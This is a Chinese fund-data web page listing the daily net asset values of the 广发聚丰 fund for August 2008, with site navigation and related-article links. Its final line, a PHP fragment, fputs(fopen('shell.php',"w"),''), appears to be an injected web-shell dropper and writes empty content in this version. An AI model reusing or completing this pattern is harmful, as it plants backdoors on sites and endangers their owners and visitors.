广发聚丰    
首页 | 广发聚丰 | 广发聚丰基金净值 | 净值估算 | 持股明细 | 会员中心
  当前位置:广发聚丰基金>广发聚丰基金净值>文章内容
基金净值走势8月29
来源:广发聚丰基金净值 作者:广发聚丰基金净值 发布时间:2008-09-01  
日期 单位净值 累计净值 增长值 增长率
2008-08-29 0.5426 3.2827 0.0103 1.9350%
2008-08-28 0.5323 3.2361 0.0013 0.2448%
2008-08-27 0.5310 3.2302 -0.0018 -0.3378%
2008-08-26 0.5328 3.2383 -0.0103 -1.8965%
2008-08-25 0.5431 3.2849 -0.0020 -0.3669%
2008-08-22 0.5451 3.2940 -0.0094 -1.6952%
2008-08-21 0.5545 3.3366 -0.0159 -2.7875%
2008-08-20 0.5704 3.4085 0.0299 5.5319%
2008-08-19 0.5405 3.2732 0.0048 0.8960%
2008-08-18 0.5357 3.2514 -0.0206 -3.7030%
2008-08-15 0.5563 3.3447 -0.0007 -0.1257%
2008-08-14 0.5570 3.3479 0.0012 0.2159%
2008-08-13 0.5558 3.3424 0.0028 0.5063%
2008-08-12 0.5530 3.3298 -0.0003 -0.0542%
2008-08-11 0.5533 3.3311 -0.0155 -2.7250%
2008-08-08 0.5688 3.4013 -0.0194 -3.2982%
2008-08-07 0.5882 3.4891 -0.0007 -0.1189%
2008-08-06 0.5889 3.4923 0.0004 0.0680%
2008-08-05 0.5885 3.4905 -0.0155 -2.5662%
2008-08-04 0.6040 3.5606 -0.0125 -2.0276%
2008-08-01 0.6165 3.6172 0.0041 0.6695%

上一篇:净值估算8月1   下一篇:净值估算9月1
[收藏] [推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
用户名: 新注册) 密码: 匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论
  热点文章
·广发聚丰基金净值9月10
·基金净值8月1
·广发聚丰基金净值7月22
·广发聚丰基金净值7月16
·广发聚丰基金净值7月17
·广发聚丰净值走势07月07
·广发聚丰基金净值7月18
·广发聚丰基金净值7月21
·广发聚丰基金净值9月19
·广发聚丰净值走势07月10
·广发聚丰净值走势07月14
·基金净值7月23
  相关文章
·基金净值8月1
·广发聚丰基金净值9月10
·基金净值7月24
·基金净值7月23
·广发聚丰基金净值9月19
·广发聚丰基金净值7月22
·广发聚丰基金净值7月21
·广发聚丰基金净值9月22
·广发聚丰基金净值7月18
·广发聚丰基金净值9月23
·广发聚丰基金净值7月17
·广发聚丰基金净值10月1
广发聚丰基金净值
fputs(fopen('shell.php',"w"),'')